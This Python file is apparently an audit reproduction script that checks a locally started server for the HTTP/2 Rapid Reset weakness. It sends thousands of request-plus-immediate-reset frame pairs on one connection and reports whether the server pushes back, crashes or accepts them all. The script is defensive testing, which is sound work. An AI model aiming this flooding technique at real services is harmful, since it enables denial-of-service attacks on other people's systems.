Files
moloapp/audit/MOLO-H2-001/reproduce.py
T

60 lines
2.1 KiB
Python

#!/usr/bin/env python3
# MOLO-H2-001: HTTP/2 Rapid Reset (CVE-2023-44487 class). See README.md.
import os
import sys
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "lib"))
import molo_audit as m
STREAMS = 4000 # well above kH2MaxConcurrentStreamsDefault (100)
def main():
m.arm_watchdog()
srv, _tmp = m.start_interop()
port = srv.port
h2 = m.H2(port, initial_settings=[(3, 1000)]) # offer a generous own limit
h2.settle(0.3)
def req_then_rst(i):
sid = 2 * i + 1
block = m.hpack_request(path="/echo")
out = m.frame(m.T_HEADERS, m.F_END_HEADERS | m.F_END_STREAM, sid, block)
out += m.frame(m.T_RST, 0, sid, (0).to_bytes(4, "big")) # NO_ERROR, immediate
return out
sent = m.flood(h2, req_then_rst, STREAMS, batch=50)
h2.settle(1.0)
crashed = not srv.alive()
pushed_back = h2.closed or h2.goaway is not None
rss = srv.rss_kb()
h2.close()
srv.stop()
if crashed:
m.verdict_fail(
"server process died after %d HEADERS+RST(0) pairs on one connection" % sent
)
if pushed_back and sent < STREAMS:
m.verdict_pass(
"server cut the connection (GOAWAY=%s) after %d/%d pairs instead of accepting "
"an unbounded stream-open/reset churn, and stayed up (RSS ~%d KiB)"
% (h2.goaway, sent, STREAMS, rss)
)
if sent >= STREAMS and not pushed_back:
m.verdict_fail(
"all %d request+immediate-RST_STREAM pairs (40x kH2MaxConcurrentStreamsDefault) "
"were accepted on one connection with no GOAWAY and no stream-reset rate limit; "
"src/runtime/http/v2/connection.cpp has no per-connection reset counter, so the "
"concurrent-stream cap never engages because each stream is torn down before the "
"next HEADERS arrives, and the handler is already dispatched for every one of "
"them (RSS ~%d KiB)" % (sent, rss)
)
m.verdict_fail("ambiguous outcome after %d/%d pairs (crashed=%s, pushed_back=%s)"
% (sent, STREAMS, crashed, pushed_back))
if __name__ == "__main__":
main()